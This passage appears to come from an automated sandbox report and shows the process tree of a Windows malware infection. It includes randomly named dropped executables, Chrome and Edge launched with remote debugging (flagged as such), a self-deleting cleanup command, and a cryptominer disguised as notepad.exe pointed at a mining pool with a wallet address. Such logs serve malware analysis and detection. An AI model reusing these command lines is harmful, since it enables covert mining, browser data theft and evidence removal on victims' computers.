                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4664,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5092 /prefetch:8
                                              10⤵
                                                PID:5904
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4820,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4796 /prefetch:8
                                                10⤵
                                                  PID:3172
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5052,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5172 /prefetch:8
                                                  10⤵
                                                    PID:6356
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5316,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5336 /prefetch:8
                                                    10⤵
                                                      PID:6392
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5324,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5304 /prefetch:8
                                                      10⤵
                                                        PID:6780
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4928,i,8258268185607914036,3790390111347797027,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4992 /prefetch:2
                                                        10⤵
                                                        • Uses browser remote debugging
                                                        PID:6428
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                      9⤵
                                                      • Uses browser remote debugging
                                                      PID:6656
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff812d046f8,0x7ff812d04708,0x7ff812d04718
                                                        10⤵
                                                          PID:6380
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
                                                          10⤵
                                                            PID:6756
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 /prefetch:3
                                                            10⤵
                                                              PID:6752
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2848 /prefetch:8
                                                              10⤵
                                                                PID:6396
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
                                                                10⤵
                                                                • Uses browser remote debugging
                                                                PID:6908
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
                                                                10⤵
                                                                • Uses browser remote debugging
                                                                PID:6848
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4892 /prefetch:1
                                                                10⤵
                                                                • Uses browser remote debugging
                                                                PID:6064
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2128,749190989360635923,7117521668000021800,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4908 /prefetch:1
                                                                10⤵
                                                                • Uses browser remote debugging
                                                                PID:5972
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\vk6xl" & exit
                                                              9⤵
                                                                PID:2512
                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                  timeout /t 11
                                                                  10⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:6596
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5700 -s 788
                                                              8⤵
                                                              • Program crash
                                                              PID:5820
                                                          • C:\Users\Admin\AppData\Local\Temp\10108210101\SvhQA35.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\10108210101\SvhQA35.exe"
                                                            7⤵
                                                              PID:5848
                                                              • C:\Users\Admin\AppData\Local\Temp\onefile_5848_133856936207227123\chromium.exe
                                                                C:\Users\Admin\AppData\Local\Temp\10108210101\SvhQA35.exe
                                                                8⤵
                                                                  PID:3296
                                                              • C:\Users\Admin\AppData\Local\Temp\10108220101\FvbuInU.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10108220101\FvbuInU.exe"
                                                                7⤵
                                                                  PID:6088
                                                                • C:\Users\Admin\AppData\Local\Temp\10108230101\Ps7WqSx.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\10108230101\Ps7WqSx.exe"
                                                                  7⤵
                                                                    PID:7084
                                                                  • C:\Users\Admin\AppData\Local\Temp\10108240101\nhDLtPT.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10108240101\nhDLtPT.exe"
                                                                    7⤵
                                                                      PID:3900
                                                                    • C:\Users\Admin\AppData\Local\Temp\10108250101\3c78f9f7e6.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10108250101\3c78f9f7e6.exe"
                                                                      7⤵
                                                                        PID:6092
                                                                      • C:\Users\Admin\AppData\Local\Temp\10108260101\ca0811c1a0.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\10108260101\ca0811c1a0.exe"
                                                                        7⤵
                                                                          PID:6768
                                                                          • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                                                                            "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
                                                                            8⤵
                                                                              PID:3448
                                                                          • C:\Users\Admin\AppData\Local\Temp\10108270101\ab82191a65.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10108270101\ab82191a65.exe"
                                                                            7⤵
                                                                              PID:680
                                                                              • C:\Users\Admin\AppData\Local\Temp\10108270101\ab82191a65.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10108270101\ab82191a65.exe"
                                                                                8⤵
                                                                                  PID:1496
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 680 -s 812
                                                                                  8⤵
                                                                                  • Program crash
                                                                                  PID:3824
                                                                              • C:\Users\Admin\AppData\Local\Temp\10108280101\99c35316e6.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\10108280101\99c35316e6.exe"
                                                                                7⤵
                                                                                  PID:1584
                                                                                • C:\Users\Admin\AppData\Local\Temp\10108290101\a7e917a2f7.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\10108290101\a7e917a2f7.exe"
                                                                                  7⤵
                                                                                    PID:1320
                                                                        • C:\Windows\System32\notepad.exe
                                                                          --donate-level 2 -o pool.hashvault.pro:443 -u 494k9WqKJKFGDoD9MfnAcjEDcrHMmMNJTUun8rYFRYyPHyoHMJf5sesH79UoM8VfoGYevyzthG86r5BTGYZxmhENTzKajL3 -k -p x --cpu-max-threads-hint=40
                                                                          2⤵
                                                                            PID:2112
                                                                        • C:\ProgramData\ogatq\ckhhtd.exe
                                                                          C:\ProgramData\ogatq\ckhhtd.exe
                                                                          1⤵
                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                          • Checks BIOS information in registry
                                                                          • Executes dropped EXE
                                                                          • Identifies Wine through registry keys
                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:536
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4164 -ip 4164
                                                                          1⤵
                                                                            PID:772
                                                                          • C:\Windows\explorer.exe
                                                                            explorer.exe
                                                                            1⤵
                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                            • Enumerates connected drives
                                                                            • Checks SCSI registry key(s)
                                                                            • Modifies registry class
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            • Suspicious use of SendNotifyMessage
                                                                            PID:680
                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                            1⤵
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:3588
                                                                          • C:\Windows\explorer.exe
                                                                            explorer.exe
                                                                            1⤵
                                                                            • Boot or Logon Autostart Execution: Active Setup
                                                                            • Enumerates connected drives
                                                                            • Checks SCSI registry key(s)
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of FindShellTrayWindow
                                                                            • Suspicious use of SendNotifyMessage
                                                                            PID:2272
                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                            1⤵
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:3892
                                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                            1⤵
                                                                            • Modifies Internet Explorer settings
                                                                            • Modifies registry class
                                                                            • Suspicious use of SetWindowsHookEx
                                                                            PID:3876
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5700 -ip 5700
                                                                            1⤵
                                                                              PID:5756
                                                                            • C:\Windows\explorer.exe
                                                                              explorer.exe
                                                                              1⤵
                                                                              • Boot or Logon Autostart Execution: Active Setup
                                                                              • Enumerates connected drives
                                                                              • Checks SCSI registry key(s)
                                                                              • Modifies registry class
                                                                              • Suspicious use of SendNotifyMessage
                                                                              PID:5240
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                              1⤵
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:5372
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              • Modifies registry class
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:5600
                                                                            • C:\Windows\explorer.exe
                                                                              explorer.exe
                                                                              1⤵
                                                                              • Boot or Logon Autostart Execution: Active Setup
                                                                              • Enumerates connected drives
                                                                              • Checks SCSI registry key(s)
                                                                              PID:3892
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                              1⤵
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:5912
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              • Modifies registry class
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:3760
                                                                            • C:\Windows\explorer.exe
                                                                              explorer.exe
                                                                              1⤵
                                                                              • Boot or Logon Autostart Execution: Active Setup
                                                                              • Enumerates connected drives
                                                                              • Checks SCSI registry key(s)
                                                                              • Modifies registry class
                                                                              PID:5940
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                              1⤵
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1424
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:4640
                                                                            • C:\Windows\explorer.exe
                                                                              explorer.exe
                                                                              1⤵
                                                                              • Boot or Logon Autostart Execution: Active Setup
                                                                              • Enumerates connected drives
                                                                              • Checks SCSI registry key(s)
                                                                              PID:6000
                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                              1⤵
                                                                                PID:1140
                                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                1⤵
                                                                                  PID:5436
                                                                                • C:\Windows\explorer.exe
                                                                                  explorer.exe
                                                                                  1⤵
                                                                                    PID:6128
                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                    1⤵
                                                                                      PID:3388
                                                                                    • C:\Windows\explorer.exe
                                                                                      explorer.exe
                                                                                      1⤵
                                                                                        PID:5924
                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                        1⤵
                                                                                          PID:700
                                                                                        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                          1⤵
                                                                                            PID:5524
                                                                                          • C:\Windows\explorer.exe
                                                                                            explorer.exe
                                                                                            1⤵
                                                                                              PID:5964
                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                              1⤵
                                                                                                PID:1184
                                                                                              • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                1⤵
                                                                                                  PID:5320
                                                                                                • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                  1⤵
                                                                                                    PID:5280
                                                                                                  • C:\Windows\explorer.exe
                                                                                                    explorer.exe
                                                                                                    1⤵
                                                                                                      PID:5280
                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                      1⤵
                                                                                                        PID:6124
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                        1⤵
                                                                                                          PID:540
                                                                                                        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                          1⤵
                                                                                                            PID:456
                                                                                                          • C:\Windows\explorer.exe
                                                                                                            explorer.exe
                                                                                                            1⤵
                                                                                                              PID:5924
                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                              1⤵
                                                                                                                PID:6300
                                                                                                              • C:\Windows\explorer.exe
                                                                                                                explorer.exe
                                                                                                                1⤵
                                                                                                                  PID:7120
                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                  1⤵
                                                                                                                    PID:5412
                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                    explorer.exe
                                                                                                                    1⤵
                                                                                                                      PID:5592
                                                                                                                    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                      1⤵
                                                                                                                        PID:6820
                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                        1⤵
                                                                                                                          PID:5544
                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                          explorer.exe
                                                                                                                          1⤵
                                                                                                                            PID:3516
                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                            1⤵
                                                                                                                              PID:3864
                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                              1⤵
                                                                                                                                PID:5916
                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                explorer.exe
                                                                                                                                1⤵
                                                                                                                                  PID:512
                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                  1⤵
                                                                                                                                    PID:4064
                                                                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                    1⤵
                                                                                                                                      PID:6384
                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                      explorer.exe
                                                                                                                                      1⤵
                                                                                                                                        PID:7012
                                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                        1⤵
                                                                                                                                          PID:6948
                                                                                                                                        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                          1⤵
                                                                                                                                            PID:4208
                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                            explorer.exe
                                                                                                                                            1⤵
                                                                                                                                              PID:6568
                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                              1⤵
                                                                                                                                                PID:6120
                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                explorer.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:6548
                                                                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                  1⤵
                                                                                                                                                    PID:2236
                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                                                                                                                    1⤵
                                                                                                                                                      PID:6456
                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                      explorer.exe
                                                                                                                                                      1⤵
                                                                                                                                                        PID:5204
                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                        1⤵
                                                                                                                                                          PID:5784
                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                          explorer.exe
                                                                                                                                                          1⤵
                                                                                                                                                            PID:6152
                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                            1⤵
                                                                                                                                                              PID:5896
                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
